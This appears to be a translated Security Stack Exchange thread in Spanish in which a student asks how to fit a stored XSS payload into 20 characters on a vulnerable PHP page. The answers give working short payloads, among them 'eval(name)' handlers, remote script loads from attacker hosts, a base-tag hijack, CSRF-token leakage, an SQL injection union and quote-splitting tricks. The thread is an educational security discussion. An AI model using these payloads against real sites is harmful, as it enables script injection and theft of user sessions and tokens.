Carga útil XSS menor de 20 caracteres

0

Para un proyecto universitario, debo realizar un análisis en una aplicación web para descubrir las vulnerabilidades de XSS. Después de esto, tengo que informar y crear una prueba automática para probar las vulnerabilidades que he descubierto.

Descubrí una vulnerabilidad XSS almacenada que afecta a un campo de base de datos declarado como varchar (20) y, para demostrarlo, he usado <h1>Attack!</h1> como un vector de ataque y esto es suficiente para mi tarea.

Mi pregunta es sobre un escenario hipotético real: ¿cómo podría diseñar un vector de ataque efectivo con la limitación de solo 20 caracteres? ¿Es posible? ¿Cómo?

¿Podría alguien proporcionar un ejemplo hipotético?

La variable vulnerable es $ coursename y toda la fuente PHP de la página que muestra la entrada es la siguiente:

    <?php

 require_once("DBFunctions.php");

 // Get the coursename //
 $query = mysql_query("SELECT coursename FROM courses WHERE courseid = '$_POST[selectclass]'") or die("ManageAssignments.php: Unable to get the course name - ".mysql_error());
 $coursename = mysql_result($query,0);

 print("
 <h1>View Assignments</h1>
 <br><br>
 <table align='center' width='600' cellspacing='0' cellpadding='0' border='0'>
 <tr>
 <td>
 <form name='assignments' action='./index.php' method='POST'>
  <br><br>
  <table cellspacing='0' width='600' cellpadding='8' class='dynamiclist'>
   <tr class='header'>
    <th colspan='6'><h2>$coursename</th>
   </tr>
   <tr class='header'>
    <th width='120' align='left' style='padding-left: 20px;'>Title</th>
    <th>Assigned Task</th>
    <th>Possible Points</th>
    <th>Date Assigned</th>
    <th>Date Due</th>
   </tr>");

   // Get the total number of assignments to know how many pages to have //
   $query = mysql_query("SELECT COUNT(*) FROM assignments")
     or die("ManageAssignments.php: Unable to retrieve total number of assignments - ".mysql_error());

   $numrows = mysql_result($query,0);

   $numpages = ceil($numrows / 25);

   if($_POST["onpage"] == "")
   {
    $_POST["onpage"]=1;
   }

   // Get and display the assignments //
   $query = mysql_query("SELECT assignmentid, title, totalpoints, assigneddate, duedate, assignmentinformation FROM assignments WHERE courseid = $_POST[selectclass] ORDER BY assigneddate DESC")
            or die("ManageAssignments.php: Unable to get a list of assignments - ".mysql_error());
   $row = 0;
   $actualrow = 0;
   while($assignment = mysql_fetch_row($query))
   {
    $row++;

    if($row > ($_POST["onpage"]*25)-25 && $row <= ($_POST["onpage"]*25))
    {
     $actualrow++;

     $assignment[2] = number_format($assignment[2],0);
     $assignment[3] = convertfromdb($assignment[3]);
     $assignment[4] = convertfromdb($assignment[4]);

     print("<tr class='".( $row%2==0 ? "even" : "odd" )."'>
      <td align='left' style='padding-left: 20px;'>$assignment[1]</td>
      <td style='text-align: left;'>$assignment[5]</td>
      <td>$assignment[2]</td>
      <td>$assignment[3]</td>
      <td>$assignment[4]</td>
     </tr>");
    }
   }

 print(" </table>
  <br>
  <center>Page: ");

  for($i=1; $i<=$numpages; $i++)
  {
   if($i == $_POST["onpage"])
   {
    print("<a href='JavaScript: document.assignments.deleteassignment.value=0;document.assignments.page2.value=2;document.assignments.onpage.value=$i;document.assignments.submit();' class='selectedpagenum' onMouseover=\"window.status='Go to page $i';return true;\" onMouseout=\"window.status='';return true;\">$i</a>&nbsp;\n");
   }
   else
   {
    print("<a href='JavaScript: document.assignments.deleteassignment.value=0;document.assignments.page2.value=2;document.assignments.onpage.value=$i;document.assignments.submit();' class='pagenum' onMouseover=\"window.status='Go to page $i';return true;\" onMouseout=\"window.status='';return true;\">$i</a>&nbsp;\n");
   }
  }

print("\n</center>
  <input type='hidden' name='deleteassignment'>
  <input type='hidden' name='selectassignment'>
  <input type='hidden' name='page2' value='$page2'>
  <input type='hidden' name='onpage' value='$_POST[onpage]'>
  <input type='hidden' name='logout'>
  <input type='hidden' name='selectclass' value='$_POST[selectclass]' />
  <input type='hidden' name='page' value='$page'>
 </form>
 </td>
 </tr>
 </table>

 <table width='520' border=0 cellspacing=0 cellpadding=0 height=1>
  <tr>
   <td valign='top'>
   <empty>
   </td>
  </tr>
 </table>
 ");
?>
    
pregunta Zanna 09.12.2018 - 19:04
fuente

4 respuestas

4

Las respuestas ya están publicadas. Así que, sólo lo estoy haciendo corto. Este es un ejemplo práctico de una carga útil XSS en contexto HTML que tiene exactamente 20 caracteres de longitud;

<p oncut=eval(name)>
  

A la propiedad window.name (simplemente name ) se le puede asignar cualquier cosa y también se hereda de origen cruzado. Esto nos da una ventaja y nos permite ejecutar nuestra carga útil sin ninguna limitación a menos que la página vuelva a escribir su propia propiedad de nombre.

Editar : agregando un ejemplo
Por lo tanto, puede definir la carga útil en su propia página y redirigir a la página vulnerable como:

<!-- attacker's site: attacker.com -->
<script>
window.name = '<PAYLOAD'>;
location = '//victim.com/vulnerable_page';
// vulnerable_page will eval(name)
</script>

Otro aún más corto, puede que no funcione en todos los casos y en todos los navegadores, es

<script src=//㎠.㎺>

Eso es solo 3 letras para el nombre de dominio incluyendo dot y tld. Se traduce automáticamente a cm2.pw por los navegadores. Recuerdo casos en los que no es necesario cerrar la etiqueta de script.

Había escrito una publicación de blog sobre el mismo tema hace unos días, consulte enlace para explotación de eval(name) de carga útil y otras cargas más cortas posibles.

    
respondido por el 1lastBr3ath 09.12.2018 - 22:22
fuente
3

20 caracteres no es tanto, por lo que la explotabilidad depende del contexto.

Lo ideal sería que incluyas scripts para poder omitir completamente la restricción de longitud (suponiendo que el CSP lo permita). Los siguientes son los más cortos que pude encontrar:

// basic include, remote file (29 chars)
<script src=//x.me></script>

// using jquery (if already included), remote file (22 chars) (if already in JS context, otherwise 40)
$.getScript('//x.me')

// using jquery, local file (17 chars) (if already in JS context, otherwise 35)
$.getScript('x')

Ahora, probablemente no podrá obtener un nombre de dominio de un solo carácter, por lo que puede agregar +1 caracteres a los ejemplos remotos. en cualquier caso, es demasiado largo (pero no mucho).

El tercer ejemplo asume que tiene la capacidad de cargar archivos en el servidor. Los archivos JS no son intrínsecamente peligrosos (bueno, a excepción de la omisión de CSP en caso de XSS), por lo que esto podría ser posible. Pero solo tiene 4 caracteres para la ruta desde webroot + el nombre de archivo.

Otra opción dependiente del contexto sería:

// rewrite base (19 chars)
<base href=//x.me>

Si se incluye una secuencia de comandos utilizando una ruta relativa, por ejemplo, <script src="myscript.js"></script> , esto cargará esa secuencia de comandos desde el servidor controlado por el atacante.

Puede guardar un carácter si ya se encuentra en el contexto correcto (por lo que puede, por ejemplo, guardar el corchete de inicio o de cierre). La inyección de HTML también puede ser un vector de ataque viable (por ejemplo, <img src='//x.me/ (18 caracteres) para robar el token CSRF).

Según mi investigación, no puede ser más corto que el anterior (a menos que tenga mucha suerte con respecto al contexto, por ejemplo, como se indica en la respuesta por @ Mike Ounsworth ).

Por supuesto, en su ejemplo, esto no importa porque no necesita preocuparse por la restricción de longitud basada en la base de datos. Debería poder usar la inyección de SQL para imprimir lo que quiera usando -1' union select '[XSS payload]' (para XSS reflejado (si no hay protección CSRF para la solicitud POST)).

    
respondido por el tim 09.12.2018 - 21:29
fuente
1

Cuando tengo limitaciones cortas para cargas útiles de este tipo, lo que hago es buscar primero si no hay otra entrada de la que tenga control (incluso si está saneada) lo que se refleja.

En su ejemplo, hay otros parámetros (incluso si no son vulnerables) que se reflejan en la página. Por ejemplo, $_POST[onpage] . Digamos que solo las comillas ( ' ) se están limpiando (lo cual es suficiente para evitar el xss aquí), pero no las comillas dobles ( " ).

Podemos fabricar una carga útil

coursname : <img src="//x.me/? (18 caracteres)

$_POST[onpage] : " onerror=alert("1");//

Se representará como

<th colspan='6'><h2><img src="//x.me/?</th>...<input type='hidden' name='onpage' value="onerror=alert("1");//'>

Debido a que solo se usan las comillas ' para los atributos entre coursename y $_POST[onpage] , todo el código html se tratará como parte de la fuente de la imagen y se ignorará hasta que lo cierre más tarde.

A veces pensaste, no tienes otra entrada. Pero todavía puede haber una manera dependiendo de lo que sigue. Tomemos el siguiente código, por ejemplo, en el que $coursename no estará saneado también.

<h2>$coursename</h2>
<script src="mysuperscript.js></script>

Si establece $coursename como <script src=//x.me/> (20 caracteres !!) se ejecutará. Cuando ve un <script src=x> , el analizador html está buscando la etiqueta </script> y, si existe, cargará y ejecutará su javascript. También ignorará todo lo que haya entre las etiquetas de secuencia de comandos (¡por lo que usará la etiqueta de secuencia de comandos de cierre de la secuencia de comandos mysuperscript.js !)

    
respondido por el Xavier59 09.12.2018 - 22:11
fuente
0

Cualquier ejemplo como ese será muy específico de la aplicación.

Ejemplo hipotético: la página de administración de alguna aplicación web, donde una de las acciones es promover que otro usuario sea administrador:

function makeAdmin(userId) {
  // send a POST to the server elevating user $userId to the admin role
  ...
}

Ahora digamos que alguna página admin.jsp tiene una vulnerabilidad XSS como esta:

<!DOCTYPE html>
<html lang="en-US">
...
<script>
displayUserInput(%{userInput});
</script>
...
</html>

Supongamos que el ID de usuario para mi cuenta es 1234 . Así que proporciono la siguiente entrada de 16 caracteres: );makeAdmin(1234 espera a que algún administrador real inicie sesión y active mi XSS almacenado, ¡y BAM! ¡Ahora soy un administrador!

Para la mayoría de los sitios / páginas, es probable que 20 caracteres sean demasiado cortos para causar un daño real, pero ciertamente es posible.

    
respondido por el Mike Ounsworth 09.12.2018 - 20:17
fuente

Lea otras preguntas en las etiquetas